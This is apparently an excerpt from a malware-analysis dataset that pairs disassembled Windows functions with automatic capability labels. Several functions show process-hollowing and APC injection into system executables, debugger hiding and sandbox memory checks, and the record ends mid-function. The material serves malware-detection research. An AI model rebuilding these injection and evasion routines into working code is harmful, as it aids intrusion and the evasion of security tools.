joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003760
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x1400037a5
xor ecx, ecx
call fcn.14000ea4c
add rsp, 0x48
ret

Function at 0x140003910
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
push rdi
sub rsp, 0x140
call fcn.14000ea80
cmp dword [rax], 1
je 0x140003936
lea rcx, str.This_program_does_not_accept_any_arguments._n
call fcn.140007800
xor eax, eax
jmp 0x140003ae7
call fcn.1400037d0
mov dword [rsp + 0x70], eax
call fcn.140003880
call fcn.1400037b0
call fcn.140003760
mov dword [rsp + 0x74], 4
mov dword [rsp + 0x78], 0x1000
mov dword [rsp + 0x7c], 0x40
lea rax, [rsp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0xa8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSystem32wbemwmiprvse.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x60], rax
lea rdx, [0x14002dc18]
lea rcx, [rsp + 0x90]
call fcn.140003580
lea rcx, [rsp + 0x90]
call fcn.140007710
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x90]
call fcn.140007710
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x90]
call fcn.140006fb0
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x80]
mov r9, rcx
mov r8, rax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x88], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x50], 0
lea rcx, [rsp + 0x90]
call fcn.1400061e0
mov eax, dword [rsp + 0x50]
add rsp, 0x140
pop rdi
ret
Function at 0x140008408
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140008452
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140008452
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140008452
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140008452
cmp dword [rcx + 0x84], 0xe
jbe 0x140008452
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140008454
xor al, al
add rsp, 0x28
ret

Function at 0x14000ea4c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000e8ab
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000e8ab
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000e8ab
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000e8ab
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000e8ab
cmp dword [rcx + 0x84], 0xe
jbe 0x14000e8ab
cmp dword [rcx + 0xf8], 0
je 0x14000e8ab
mov ecx, ebx
call fcn.14000e968
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000e738
nop
cmp dword [rbp + 0x20], 0
je 0x14000e8f9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000e904
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000e83c
Function at 0x140016720
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140016750
xor eax, eax
jmp 0x140016813
mov rbp, rbx
cmp word [rax], si
je 0x140016775
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14001675c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140016758
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140016670
movsxd r14, eax
test eax, eax
jne 0x1400167b3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140016749
mov rcx, r14
call fcn.1400135f8
mov rdi, rax
test rax, rax
jne 0x1400167cc
xor ecx, ecx
call fcn.140012984
jmp 0x1400167a8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140016670
test eax, eax
jne 0x1400167fd
mov rcx, rdi
call fcn.140012984
jmp 0x140016807
xor ecx, ecx
call fcn.140012984
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14001b99c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140015774
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14001ba26
cmp byte [rbp - 0x21], r15b
je 0x14001ba21
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14001ba5c
call fcn.140012bd8
test eax, eax
jne 0x14001ba48
cmp byte [rbp - 0x21], r15b
je 0x14001ba40
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14001ba5c
cmp byte [rbp - 0x21], r15b
je 0x14001ba59
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140014d50
test eax, eax
jne 0x14001bafc
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140015774
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14001ba9b
cmp byte [rbp - 0x21], r15b
je 0x14001bad0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14001bad0
call fcn.140012bd8
test eax, eax
jne 0x14001babc
cmp byte [rbp - 0x21], r15b
je 0x14001bab5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14001bad0
cmp byte [rbp - 0x21], r15b
je 0x14001bacd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140014d50
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14001bafc
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14001baff
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14001bb0d
mov rcx, rdi
call fcn.140012984
cmp byte [rbp + 0x3f], r15b
je 0x14001bb1c
mov rcx, qword [rbp + 0x27]
call fcn.140012984
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x14001e0c0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001e0e8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001e0e8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1423bf058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1423bf1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1423bf089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1423bf06f
add dl, dl
jne 0x1423bf096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1423bf0f6
xor eax, eax
add dl, dl
jne 0x1423bf0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1423bf1ad
add dl, dl
jne 0x1423bf0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1423bf0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1423bf0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1423bf0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1423bf0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1423bf07e
mov eax, 1
add dl, dl
jne 0x1423bf106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1423bf113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1423bf0fb
sub eax, ebx
mov ebx, 1
jne 0x1423bf14c
mov ecx, 1
add dl, dl
jne 0x1423bf12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1423bf13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1423bf123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1423bf07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1423bf168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1423bf175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1423bf15d
cmp eax, 0x7d00
jae 0x1423bf19b
cmp eax, 0x500
jb 0x1423bf196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1423bf07e
cmp eax, 0x7f
ja 0x1423bf19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1423bf07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1423bf1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1423bf07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14016d840
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1404ab628]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp qword [0x1404c02d0], 0
jne 0x14016d8b1
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [rsp + 0x24]
dec ecx
mov eax, ecx
shr eax, 1
or ecx, eax
mov eax, ecx
shr eax, 2
or ecx, eax
mov eax, ecx
shr eax, 4
or ecx, eax
mov eax, ecx
shr eax, 8
or ecx, eax
mov eax, ecx
shr eax, 0x10
or eax, ecx
inc eax
mov qword [0x1404c02c0], rax
mov eax, dword [rsp + 0x48]
mov qword [0x1404c02c8], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [0x1404c02d0], rax
lea rax, [0x1404c02c0]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140333460
add rsp, 0x68
ret

Function at 0x14017c020
Capabilities:
Get system information on windows

Disassembly:
sub rsp, 0x68
mov rax, qword [0x1404ab628]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140333460
add rsp, 0x68
ret
Function at 0x180002d10
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get common file path
Resume thread
Use process replacement

Disassembly:
push rbx
push rbp
push rdi
push r12
sub rsp, 0x6a8
mov rax, qword [0x180027190]
xor rax, rsp
mov qword [rsp + 0x690], rax
movsxd rdi, edx
xor edx, edx
mov rbx, r8
mov rbp, rcx
lea rcx, [rsp + 0x50]
lea r8d, [rdx + 0x68]
call fcn.18000d5f0
xor r11d, r11d
lea rcx, [rsp + 0xc0]
mov qword [rbx], r11
mov qword [rbx + 8], r11
xor edx, edx
mov r8d, 0x4d0
mov qword [rbx + 0x10], r11
call fcn.18000d5f0
xor r12d, r12d
lea rcx, [rsp + 0x591]
xor edx, edx
mov r8d, 0xfe
mov dword [rsp + 0x50], WSAGetLastError
mov dword [rsp + 0x8c], 1
mov word [rsp + 0x90], r12w
mov byte [rsp + 0x590], r12b
call fcn.18000d5f0
lea rcx, [rsp + 0x590]
mov edx, 0xff
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_tracerpt.exe
lea r8, [rsp + 0x590]
lea rdx, str._s_s
lea rcx, [rsp + 0x590]
mov byte [rsp + 0x593], r12b
call fcn.180002fa0
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea rcx, [rsp + 0x590]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180002ecd
mov rcx, qword [rbx]
mov r9d, 0x3000
mov r8, rdi
xor edx, edx
mov qword [rsp + 0x6a0], rsi
mov dword [rsp + 0x20], 0x40
mov rsi, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x180002eb2
mov rcx, qword [rbx]
mov r9, rsi
mov r8, rbp
mov rdx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180002eb2
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov dword [rsp + 0xf0], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x180002eb2
mov rcx, qword [rbx + 8]
lea rdx, [rsp + 0xc0]
mov qword [rsp + 0x1b8], rdi
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x180002eb6
xor eax, eax
jmp 0x180002ec5
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov rsi, qword [rsp + 0x6a0]
mov rcx, qword [rsp + 0x690]
xor rcx, rsp
call fcn.18000be20
add rsp, 0x6a8
pop r12
pop rdi
pop rbp
pop rbx
ret

Function at 0x180003f90
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
dec edx
jne 0x18000400f
cmp qword [0x18002cac0], 0
jne 0x18000400f
lea rcx, str.1:js0:4t1436:4o2.1.861.291:4p0:lk0:hs0:ld0:ll0:hb0:xs0:pj5_.1_.4202:zb0.1:bb
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x32
jle 0x18000400f
call fcn.180003300
cmp dword [0x18002be10], 0
je 0x18000400f
mov qword [rsp + 0x30], rbx
xor ebx, ebx
lea r8, [0x180003ab0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x180003d90]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [0x18002cac0], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, qword [rsp + 0x30]
mov eax, 1
add rsp, 0x38
ret
Function at 0x180004020
Capabilities:
Create thread

Disassembly:
sub rsp, 0x38
cmp qword [0x18002cac0], 0
jne 0x18000409d
mov qword [rsp + 0x30], rbx
call fcn.180003300
xor ebx, ebx
lea r8, [0x180003ab0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x180003d90]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [0x18002cac0], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x18002cac0]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x18002cac0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x38
ret

Function at 0x1800040b0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
cmp qword [0x18002cac0], 0
mov rbx, rcx
jne 0x180004148
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, str.1:js0:4t1436:4o2.1.861.291:4p0:lk0:hs0:ld0:ll0:hb0:xs0:pj5_.1_.4202:zb0.1:bb
mov rdx, rbx
lea eax, [rax + rax + 2]
movsxd r8, eax
call fcn.18000be50
call fcn.180003300
xor ebx, ebx
lea r8, [0x180003ab0]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r8, [0x180003d90]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov qword [0x18002cac0], rax
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [0x18002cac0]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [0x18002cac0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x30
pop rbx
ret

Function at 0x1800049c0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x180006160
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x1800049d0
Capabilities:
Set socket configuration

Disassembly:
jmp 0x180006190
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x180006160
Capabilities:
Set socket configuration

Disassembly:
jmp 0x180006160
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1002
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret

Function at 0x180006190
Capabilities:
Set socket configuration

Disassembly:
jmp 0x180006190
mov dword [rsp + 0x10], edx
sub rsp, 0x38
lea r9, [rsp + 0x48]
mov edx, 0xffff
mov r8d, 0x1001
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
add rsp, 0x38
ret
Function at 0x1406510b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.140651237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1406510e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1406510c7
add dl, dl
jne 0x1406510ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14065114e
xor eax, eax
add dl, dl
jne 0x1406510fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140651205
add dl, dl
jne 0x14065110e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14065111b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140651128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140651135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140651142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1406510d6
mov eax, 1
add dl, dl
jne 0x14065115e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14065116b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140651153
sub eax, ebx
mov ebx, 1
jne 0x1406511a4
mov ecx, 1
add dl, dl
jne 0x140651186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140651193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14065117b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406510d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1406511c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1406511cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1406511b5
cmp eax, 0x7d00
jae 0x1406511f3
cmp eax, 0x500
jb 0x1406511ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406510d6
cmp eax, 0x7f
ja 0x1406511f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1406510d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14065122a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1406510d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001118b
Capabilities:
Hide thread from debugger

Disassembly:
jmp 0x140013380
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rcx, [0x140029102]
call fcn.1400114dd
mov dword [rbp + 4], 0x11
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x64], 0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov qword [rbp + 0x88], rax
lea rdx, str.NtSetInformationThread
mov rcx, qword [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x11
mov rcx, rax
call qword [rbp + 0x28]
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 0
je 0x140013404
mov dword [rbp + 0x64], 1
mov eax, dword [rbp + 0x64]
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x14001129e
Capabilities:
Get memory capacity

Disassembly:
jmp 0x1400138c0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x140029102]
call fcn.1400114dd
mov qword [rbp + 8], 0x40000000
lea rax, [rbp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov dword [rbp + 0x30], 0x40
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 8]
cmp qword [rbp + 0x38], rax
jae 0x14001393c
mov dword [rbp + 0x134], 1
jmp 0x140013946
mov dword [rbp + 0x134], 0
mov eax, dword [rbp + 0x134]
mov edi, eax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001e270]
call fcn.140011429
mov eax, edi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.140011258
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x1400112a3
Capabilities:
Terminate process

Disassembly:
jmp 0x140016690
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x140011334
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
jmp 0x140012b20
push rbp
push rdi
sub rsp, 0x2c8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x6e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x268], rax
lea rcx, [0x140029102]
call fcn.1400114dd
mov qword [rbp + 8], 0
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0xf8]
call fcn.1400113ca
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x130]
call fcn.1400113ca
mov r8d, 0xb0
xor edx, edx
lea rcx, [rbp + 0x30]
call fcn.1400113ca
lea rcx, [rbp + 0x130]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rcx, [rbp + 0xf8]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x130]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 1
